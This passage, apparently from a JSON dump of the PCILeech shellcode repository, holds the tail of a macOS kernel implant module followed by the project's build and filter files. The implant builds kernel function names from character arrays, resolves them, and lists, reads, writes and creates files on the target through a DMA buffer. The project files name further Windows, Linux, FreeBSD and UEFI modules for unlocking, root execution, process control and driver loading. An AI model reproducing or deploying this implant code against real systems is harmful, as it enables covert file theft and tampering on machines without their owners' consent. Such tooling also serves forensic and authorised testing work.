O_RDONLY\t\t0x0000\n#define O_WRONLY\t\t0x0001\n#define O_RDWR\t\t\t0x0002\n\n#define O_NONBLOCK\t\t0x0004\n#define O_APPEND\t\t0x0008\n#define O_SHLOCK\t\t0x0010\n#define O_EXLOCK\t\t0x0020\n#define O_ASYNC\t\t\t0x0040\n#define O_SYNC\t\t\t0x0080\n#define O_NOFOLLOW\t\t0x0100\n#define O_CREAT\t\t\t0x0200\n#define O_TRUNC\t\t\t0x0400\n#define O_EXCL\t\t\t0x0800\n#define O_EVTONLY\t\t0x8000\n#define O_NOCTTY\t\t0x20000\n#define O_DIRECTORY\t\t0x100000\n#define O_SYMLINK\t\t0x200000\n\n#define VNODE_ATTR_va_data_size\t\t(1LL<< 4)\t\t/* 00000010 */\n#define VNODE_ATTR_va_create_time\t(1LL<<12)\t\t/* 00001000 */\n#define VNODE_ATTR_va_access_time\t(1LL<<13)\t\t/* 00002000 */\n#define VNODE_ATTR_va_modify_time\t(1LL<<14)\t\t/* 00004000 */\n#define VNODE_ATTR_va_name\t\t\t(1LL<<25)\t\t/* 02000000 */\n\nstruct attrlist {\n\tWORD bitmapcount;\t\t\t/* number of attr. bit sets in list (should be 5) */\n\tWORD reserved;\t\t\t/* (to maintain 4-byte alignment) */\n\tDWORD commonattr;\t\t\t/* common attribute group */\n\tDWORD volattr;\t\t\t/* Volume attribute group */\n\tDWORD dirattr;\t\t\t/* directory attribute group */\n\tDWORD fileattr;\t\t\t/* file attribute group */\n\tDWORD forkattr;\t\t\t/* fork attribute group */\n};\n\ntypedef struct attribute_set {\n\tDWORD commonattr;\t\t\t/* common attribute group */\n\tDWORD volattr;\t\t\t/* Volume attribute group */\n\tDWORD dirattr;\t\t\t/* directory attribute group */\n\tDWORD fileattr;\t\t\t/* file attribute group */\n\tDWORD forkattr;\t\t\t/* fork attribute group */\n} attribute_set_t;\n\n\ntypedef struct attrreference {\n\tDWORD attr_dataoffset;\n\tDWORD attr_length;\n} attrreference_t;\n\nstruct timespec {\n\tQWORD\ttv_sec;\t\t// seconds\n\tQWORD\ttv_nsec;\t// nanoseconds\n};\n\nenum vtype {\n\tVNON,\n\tVREG, VDIR, VBLK, VCHR, VLNK,\n\tVSOCK, VFIFO, VBAD, VSTR, VCPLX\n};\n\n#define ATTR_BIT_MAP_COUNT\t\t\t5\n#define ATTR_CMN_NAME\t\t\t\t0x00000001\n#define ATTR_CMN_OBJTYPE\t\t\t0x00000008\n#define ATTR_CMN_CRTIME\t\t\t\t0x00000200\n#define ATTR_CMN_MODTIME\t\t\t0x00000400\n#define ATTR_CMN_ACCTIME\t\t\t0x00001000\n#define ATTR_CMN_RETURNED_ATTRS \t0x80000000\t\n#define ATTR_DIR_ENTRYCOUNT\t\t\t0x00000002\n#define ATTR_FILE_TOTALSIZE\t\t\t0x00000002\n\nstruct vnode_attr {\n\t/* bitfields */\n\tQWORD\tva_supported;\n\tQWORD\tva_active;\n\tQWORD\tunknown[64];\n};\n\n//-----------------------------------------------------------------------------\n// Functions below.\n//-----------------------------------------------------------------------------\n\ntypedef struct tdFN2 {\n\tQWORD vnode_lookup;\n\tQWORD vnode_put;\n\tQWORD vnode_setsize;\n\tQWORD vnode_open;\n\tQWORD vnode_close;\n\tQWORD VNOP_READ;\n\tQWORD VNOP_WRITE;\n\tQWORD VNOP_GETATTRLISTBULK;\n\tQWORD uio_addiov;\n\tQWORD uio_resid;\n\tQWORD vfs_context_current;\n\tQWORD uio_create;\n\tQWORD uio_free;\n} FN2, *PFN2;\n\nBOOL LookupFunctions2(PKMDDATA pk, PFN2 pfn2) {\n\tQWORD i = 0, NAMES[sizeof(FN2) / sizeof(QWORD)], *pfn_qw = (PQWORD)pfn2;\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'l', 'o', 'o', 'k', 'u', 'p', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'p', 'u', 't', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 's', 'e', 't', 's', 'i', 'z', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'o', 'p', 'e', 'n', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'n', 'o', 'd', 'e', '_', 'c', 'l', 'o', 's', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'R', 'E', 'A', 'D', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'W', 'R', 'I', 'T', 'E', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'V', 'N', 'O', 'P', '_', 'G', 'E', 'T', 'A', 'T', 'T', 'R', 'L', 'I', 'S', 'T', 'B', 'U', 'L', 'K', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'a', 'd', 'd', 'i', 'o', 'v', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'r', 'e', 's', 'i', 'd', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'v', 'f', 's', '_', 'c', 'o', 'n', 't', 'e', 'x', 't', '_', 'c', 'u', 'r', 'r', 'e', 'n', 't', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'c', 'r', 'e', 'a', 't', 'e', 0 };\n\tNAMES[i++] = (QWORD)(CHAR[]) { '_', 'u', 'i', 'o', '_', 'f', 'r', 'e', 'e', 0 };\n\tfor(i = 0; i < sizeof(FN2) / sizeof(QWORD); i++) {\n\t\tpfn_qw[i] = LookupFunctionMacOS(pk->AddrKernelBase, (CHAR*)NAMES[i]);\n\t\tif(!pfn_qw[i]) { return FALSE; }\n\t}\n\treturn TRUE;\n}\n\nQWORD UnixToWindowsFiletime(QWORD tv) {\n\tQWORD result = 11644473600ULL; // EPOCH DIFF\n\tresult += tv;\n\tresult *= 10000000ULL;\n\treturn result;\n}\n\nSTATUS VfsList(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tDWORD status = STATUS_SUCCESS;\n\tQWORD i, uio = 0, vnode = 0, vfs_current;\n\tPFNMACOS pfn1 = &pk->fn;\n\tPVFS_RESULT_FILEINFO pfi;\n\tQWORD qw, p, cfi = 0, pbRecordFull, cbRecordFull, pbRecord;\n\tattribute_set_t *pAttrSet;\n\tattrreference_t *pAttrRef;\n\tDWORD dw, eofflag, actualcount;\n\tstruct timespec *pts;\n\tstruct vnode_attr va;\n\tstruct attrlist al;\n\tif(pk->dataOutExtraLengthMax < 0x00100000) {\n\t\tstatus = STATUS_FAIL_OUTOFMEMORY;\n\t\tgoto fail;\n\t}\n\tvfs_current = SysVCall(pfn2->vfs_context_current);\n\tif(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tSysVCall(pfn1->memset, &va, 0, sizeof(struct vnode_attr));\n\t// set attribute list with attributes that should be retrieved.\n\tSysVCall(pfn1->memset, &al, 0, sizeof(struct attrlist));\n\tal.bitmapcount = ATTR_BIT_MAP_COUNT;\n\tal.commonattr = ATTR_CMN_NAME | ATTR_CMN_RETURNED_ATTRS | ATTR_CMN_CRTIME | ATTR_CMN_MODTIME | ATTR_CMN_ACCTIME | ATTR_CMN_OBJTYPE;\n\tal.fileattr = ATTR_FILE_TOTALSIZE;\n\tal.dirattr = ATTR_DIR_ENTRYCOUNT;\n\twhile(TRUE) {\n\t\tactualcount = 0;\n\t\tpbRecordFull = pk->DMAAddrVirtual + pk->dataOutExtraOffset + pk->dataOutExtraLengthMax - 0x00010000;\n\t\tSysVCall(pfn1->memset, pbRecordFull, 0, 0x00010000);\n\t\tuio = SysVCall(pfn2->uio_create, 1 /* count iov */, cfi /* offset */, 2 /* kernel addr */, 0 /* read */);\n\t\tif(SysVCall(pfn2->uio_addiov, uio, pbRecordFull, 0x00010000)) {\n\t\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\t\tgoto fail;\n\t\t}\n\t\tif(SysVCall(pfn2->VNOP_GETATTRLISTBULK, vnode, &al, &va, uio, NULL /* private */, 0 /* options */, &eofflag, &actualcount, vfs_current)) {\n\t\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\t\tgoto fail;\n\t\t}\n\t\tif(0 == actualcount) {\n\t\t\tbreak;\n\t\t}\n\t\tif((pk->dataOutExtraLengthMax - 0x00010000) < (cfi + actualcount) * sizeof(VFS_RESULT_FILEINFO)) {\n\t\t\tbreak;\n\t\t}\n\t\tfor(p = 0; p < actualcount; p++) {\n\t\t\tpfi = (PVFS_RESULT_FILEINFO)(pk->DMAAddrVirtual + pk->dataOutExtraOffset + (p + cfi) * sizeof(VFS_RESULT_FILEINFO));\n\t\t\tSysVCall(pfn1->memset, pfi, 0, sizeof(VFS_RESULT_FILEINFO));\n\t\t\tcbRecordFull = *(PDWORD)pbRecordFull;\n\t\t\tpbRecord = pbRecordFull;\n\t\t\tpbRecordFull += cbRecordFull;\n\t\t\tpbRecord += sizeof(DWORD);\n\t\t\tpAttrSet = (attribute_set_t*)pbRecord;\n\t\t\tpbRecord += sizeof(attribute_set_t);\n\t\t\tif(pAttrSet->commonattr & ATTR_CMN_NAME) {\n\t\t\t\tpAttrRef = (attrreference_t*)pbRecord;\n\t\t\t\tpbRecord += sizeof(attrreference_t);\n\t\t\t\tqw = pAttrRef->attr_length;\n\t\t\t\tif(qw > MAX_PATH - 1) {\n\t\t\t\t\tqw = MAX_PATH - 1;\n\t\t\t\t}\n\t\t\t\tfor(i = 0; i < qw; i++) {\n\t\t\t\t\tpfi->wszFileName[i] = *(PCHAR)((QWORD)pAttrRef + pAttrRef->attr_dataoffset + i);\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(pAttrSet->commonattr & ATTR_CMN_OBJTYPE) {\n\t\t\t\t// vnode type\n\t\t\t\tdw = *(PDWORD)pbRecord;\n\t\t\t\tpbRecord += sizeof(DWORD);\n\t\t\t\tif(dw == VREG) {\n\t\t\t\t\tpfi->flags |= VFS_FLAGS_FILE_NORMAL;\n\t\t\t\t} else if(dw == VDIR) {\n\t\t\t\t\tpfi->flags |= VFS_FLAGS_FILE_DIRECTORY;\n\t\t\t\t} else if(dw == VLNK) {\n\t\t\t\t\tpfi->flags |= VFS_FLAGS_FILE_SYMLINK;\n\t\t\t\t} else {\n\t\t\t\t\tpfi->flags |= VFS_FLAGS_FILE_OTHER;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif(pAttrSet->commonattr & ATTR_CMN_CRTIME) {\n\t\t\t\tpts = (struct timespec*)pbRecord;\n\t\t\t\tpbRecord += sizeof(struct timespec);\n\t\t\t\tpfi->tCreateOpt = UnixToWindowsFiletime(pts->tv_sec);\n\t\t\t}\n\t\t\tif(pAttrSet->commonattr & ATTR_CMN_MODTIME) {\n\t\t\t\tpts = (struct timespec*)pbRecord;\n\t\t\t\tpbRecord += sizeof(struct timespec);\n\t\t\t\tpfi->tModifyOpt = UnixToWindowsFiletime(pts->tv_sec);\n\t\t\t}\n\t\t\tif(pAttrSet->commonattr & ATTR_CMN_ACCTIME) {\n\t\t\t\tpts = (struct timespec*)pbRecord;\n\t\t\t\tpbRecord += sizeof(struct timespec);\n\t\t\t\tpfi->tAccessOpt = UnixToWindowsFiletime(pts->tv_sec);\n\t\t\t}\n\t\t\tif(pAttrSet->fileattr & ATTR_FILE_TOTALSIZE) {\n\t\t\t\tpfi->cb = *(PQWORD)pbRecord;\n\t\t\t\tpbRecord += sizeof(QWORD);\n\t\t\t}\n\t\t}\n\t\tSysVCall(pfn2->uio_free, uio);\n\t\tuio = 0;\n\t\tcfi += actualcount;\n\t}\n\tpk->dataOutExtraLength = cfi * sizeof(VFS_RESULT_FILEINFO);\nfail:\n\tif(uio) { SysVCall(pfn2->uio_free, uio); }\n\tif(vnode) { SysVCall(pfn2->vnode_put, vnode); }\n\treturn cfi ? STATUS_SUCCESS : status;\n}\n\nSTATUS VfsDelete(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tUNREFERENCED_PARAMETER(pfn2);\n\tUNREFERENCED_PARAMETER(pop);\n\treturn STATUS_FAIL_NOT_IMPLEMENTED;\n}\n\nSTATUS VfsRead(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tDWORD status = STATUS_SUCCESS;\n\tQWORD uio = 0, vnode = 0, vfs_current;\n\tvfs_current = SysVCall(pfn2->vfs_context_current);\n\tif(SysVCall(pfn2->vnode_lookup, pop->szFileName, 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tuio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 0 /* read */);\n\tif(SysVCall(pfn2->uio_addiov, uio, pk->DMAAddrVirtual + pk->dataOutExtraOffset, pk->dataOutExtraLengthMax)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tif(SysVCall(pfn2->VNOP_READ, vnode, uio, 0, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tpk->dataOutExtraLength = pk->dataOutExtraLengthMax - SysVCall(pfn2->uio_resid, uio);\nfail:\n\tif(uio) { SysVCall(pfn2->uio_free, uio); }\n\tif(vnode) { SysVCall(pfn2->vnode_put, vnode); }\n\treturn status;\n}\n\nSTATUS VfsWrite(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tDWORD status = STATUS_SUCCESS;\n\tQWORD uio = 0, vnode = 0, flags = 0, vfs_current;\n\tflags |= O_WRONLY;\n\tflags |= (pop->flags & VFS_FLAGS_TRUNCATE_ON_WRITE) ? O_TRUNC : 0;\n\tflags |= (pop->flags & VFS_FLAGS_APPEND_ON_WRITE) ? O_APPEND : 0;\n\tvfs_current = SysVCall(pfn2->vfs_context_current);\n\tif(SysVCall(pfn2->vnode_open, pop->szFileName, flags, 0, 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tuio = SysVCall(pfn2->uio_create, 1 /* count iov */, pop->offset /* offset */, 2 /* kernel addr */, 1 /* write */);\n\tif(SysVCall(pfn2->uio_addiov, uio, pop->pb, pop->cb)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tif(SysVCall(pfn2->VNOP_WRITE, vnode, uio, 0, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\n\tif(flags & O_TRUNC) {\n\t\tSysVCall(pfn2->vnode_setsize, vnode, pop->offset + pop->cb, 0, vfs_current);\n\t}\nfail:\n\tif(uio) { SysVCall(pfn2->uio_free, uio); }\n\tif(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }\n\treturn status;\n}\n\nSTATUS VfsCreate(PKMDDATA pk, PFN2 pfn2, PVFS_OPERATION pop)\n{\n\tUNREFERENCED_PARAMETER(pk);\n\tDWORD status = STATUS_SUCCESS;\n\tQWORD vnode = 0, vfs_current;\n\tvfs_current = SysVCall(pfn2->vfs_context_current);\n\tif(SysVCall(pfn2->vnode_open, pop->szFileName, O_CREAT | O_WRONLY | O_TRUNC, 0x1ff /*-rwxrwxrwx*/, 0, &vnode, vfs_current)) {\n\t\tstatus = STATUS_FAIL_FILE_CANNOT_OPEN;\n\t\tgoto fail;\n\t}\nfail:\n\tif(vnode) { SysVCall(pfn2->vnode_close, vnode, 0x10000 /* descriptor written */, vfs_current); }\n\treturn status;\n}\n\nVOID c_EntryPoint(PKMDDATA pk)\n{\n\tPVFS_OPERATION pop;\n\tFN2 fn2;\n\t// initialize kernel functions\n\tif(!LookupFunctions2(pk, &fn2)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_FUNCTION_LOOKUP;\n\t\treturn;\n\t}\n\t// setup references to in/out data and check validity\n\tpop = (PVFS_OPERATION)(pk->DMAAddrVirtual + pk->dataInExtraOffset);\n\tif((pk->dataInExtraLength < sizeof(VFS_OPERATION)) || (pop->magic != VFS_OP_MAGIC) || (pop->flags & VFS_FLAGS_UNICODE)) {\n\t\tpk->dataOut[0] = STATUS_FAIL_SIGNATURE_NOT_FOUND;\n\t\treturn;\n\t}\n\t// take action\n\tif(pop->op == VFS_OP_CMD_LIST_DIRECTORY) {\n\t\tpk->dataOut[0] = VfsList(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_READ) {\n\t\tpk->dataOut[0] = VfsRead(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_WRITE) {\n\t\tpk->dataOut[0] = VfsWrite(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_CREATE) {\n\t\tpk->dataOut[0] = VfsCreate(pk, &fn2, pop);\n\t\treturn;\n\t}\n\tif(pop->op == VFS_OP_CMD_DELETE) {\n\t\tpk->dataOut[0] = VfsDelete(pk, &fn2, pop);\n\t\treturn;\n\t}\n}\n"
  },
  {
    "path": "pcileech_shellcode/pcileech_shellcode.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"15.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <ProjectGuid>{5C698F13-6E9F-46F3-95FC-55376A65D8BF}</ProjectGuid>\n    <RootNamespace>pcileech_shellcode</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>false</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n    <SpectreMitigation>false</SpectreMitigation>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <OutDir>$(SolutionDir)\\files\\</OutDir>\n    <IntDir>$(SolutionDir)\\files\\temp\\$(ProjectName)\\</IntDir>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <Optimization>MaxSpeed</Optimization>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n    </ClCompile>\n    <Link>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>No</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"fbsdx64_common.c\" />\n    <ClCompile Include=\"fbsdx64_filepull.c\" />\n    <ClCompile Include=\"fbsdx64_stage3_c.c\" />\n    <ClCompile Include=\"lx64_common.c\" />\n    <ClCompile Include=\"lx64_exec_root.c\" />\n    <ClCompile Include=\"lx64_filedelete.c\" />\n    <ClCompile Include=\"lx64_filepull.c\" />\n    <ClCompile Include=\"lx64_filepush.c\" />\n    <ClCompile Include=\"lx64_stage3_c.c\" />\n    <ClCompile Include=\"lx64_vfs.c\" />\n    <ClCompile Include=\"macos_common.c\" />\n    <ClCompile Include=\"macos_filepull.c\" />\n    <ClCompile Include=\"macos_filepush.c\" />\n    <ClCompile Include=\"macos_stage3_c.c\" />\n    <ClCompile Include=\"macos_unlock.c\" />\n    <ClCompile Include=\"macos_vfs.c\" />\n    <ClCompile Include=\"uefi_common.c\" />\n    <ClCompile Include=\"uefi_kmd_c.c\" />\n    <ClCompile Include=\"uefi_textout.c\" />\n    <ClCompile Include=\"uefi_winload_ntos_kmd_c.c\" />\n    <ClCompile Include=\"uefi_winload_ntos_patch.c\" />\n    <ClCompile Include=\"wx64_common.c\" />\n    <ClCompile Include=\"wx64_driverinfo.c\" />\n    <ClCompile Include=\"wx64_driverload_svc.c\" />\n    <ClCompile Include=\"wx64_driverunload.c\" />\n    <ClCompile Include=\"wx64_exec_user_c.c\" />\n    <ClCompile Include=\"wx64_filepull.c\" />\n    <ClCompile Include=\"wx64_filepush.c\" />\n    <ClCompile Include=\"wx64_pagesignature.c\" />\n    <ClCompile Include=\"wx64_pscreate.c\" />\n    <ClCompile Include=\"wx64_pskill.c\" />\n    <ClCompile Include=\"wx64_pslist.c\" />\n    <ClCompile Include=\"wx64_stage3_c.c\" />\n    <ClCompile Include=\"wx64_umd_exec_c.c\" />\n    <ClCompile Include=\"wx64_unlock.c\" />\n    <ClCompile Include=\"wx64_vfs.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"fbsdx64_common_a.asm\" />\n    <None Include=\"fbsdx64_stage2.asm\" />\n    <None Include=\"fbsdx64_stage3.asm\" />\n    <None Include=\"lx64_common_a.asm\" />\n    <None Include=\"lx64_stage2.asm\" />\n    <None Include=\"lx64_stage2_efi.asm\" />\n    <None Include=\"lx64_stage3.asm\" />\n    <None Include=\"lx64_stage3_pre.asm\" />\n    <None Include=\"macos_common_a.asm\" />\n    <None Include=\"macos_stage2.asm\" />\n    <None Include=\"macos_stage3.asm\" />\n    <None Include=\"uefi_common_a.asm\" />\n    <None Include=\"uefi_kmd.asm\" />\n    <None Include=\"uefi_winload_ntos_kmd.asm\" />\n    <None Include=\"wx64_common_a.asm\" />\n    <None Include=\"wx64_exec_user.asm\" />\n    <None Include=\"wx64_pageinfo.asm\" />\n    <None Include=\"wx64_psblue.asm\" />\n    <None Include=\"wx64_stage1.asm\" />\n    <None Include=\"wx64_stage2.asm\" />\n    <None Include=\"wx64_stage23_vmm.asm\" />\n    <None Include=\"wx64_stage23_vmm3.asm\" />\n    <None Include=\"wx64_stage2_hal.asm\" />\n    <None Include=\"wx64_stage3.asm\" />\n    <None Include=\"wx64_stage3_pre.asm\" />\n    <None Include=\"wx64_umd_exec.asm\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"fbsdx64_common.h\" />\n    <ClInclude Include=\"lx64_common.h\" />\n    <ClInclude Include=\"macos_common.h\" />\n    <ClInclude Include=\"statuscodes.h\" />\n    <ClInclude Include=\"uefi_common.h\" />\n    <ClInclude Include=\"wx64_common.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <Text Include=\"info_kmd_core.txt\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "pcileech_shellcode/pcileech_shellcode.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"Source Files\\unlock\">\n      <UniqueIdentifier>{e34718ee-5344-4296-a04e-8c9e8198aaaa}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\page\">\n      <UniqueIdentifier>{c5c3b27a-a45b-4c05-8f38-e7d76a832d65}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\kmd_core\">\n      <UniqueIdentifier>{62ec3c7b-fa66-4ed4-84ef-2f9469ebe84c}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\file\">\n      <UniqueIdentifier>{c98e896d-5c0c-40f2-a538-e208e64a07ff}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\exec\">\n      <UniqueIdentifier>{6247613d-5996-48a0-86bf-0670af977875}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\driver\">\n      <UniqueIdentifier>{6f2a8f51-7e58-4913-9be5-0efa279dbe3a}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\vfs\">\n      <UniqueIdentifier>{fbf1519d-9768-4c2e-9bf2-c4a5f13a5f62}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\test\">\n      <UniqueIdentifier>{5098b4fc-a903-4dfa-b480-ea87dfca3baf}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"Source Files\\umd_exec\">\n      <UniqueIdentifier>{c376b98a-8b0b-4c3a-b687-59543d20cf03}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"lx64_common.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_common.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_unlock.c\">\n      <Filter>Source Files\\unlock</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_pagesignature.c\">\n      <Filter>Source Files\\page</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_stage3_c.c\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_filedelete.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_filepull.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"lx64_filepush.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_filepull.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_filepush.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_exec_user_c.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_pscreate.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_pskill.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_pslist.c\">\n      <Filter>Source Files\\exec</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_driverinfo.c\">\n      <Filter>Source Files\\driver</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_driverunload.c\">\n      <Filter>Source Files\\driver</Filter>\n    </ClCompile>\n    <ClCompile Include=\"wx64_driverload_svc.c\">\n      <Filter>Source Files\\driver</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_common.c\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_unlock.c\">\n      <Filter>Source Files\\unlock</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_filepull.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_filepush.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    <ClCompile Include=\"macos_stage3_c.c\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </ClCompile>\n    <ClCompile Include=\"fbsdx64_stage3_c.c\">\n      <Filter>Source Files\\kmd_core</Filter>\n    </ClCompile>\n    <ClCompile Include=\"fbsdx64_filepull.c\">\n      <Filter>Source Files\\file</Filter>\n    </ClCompile>\n    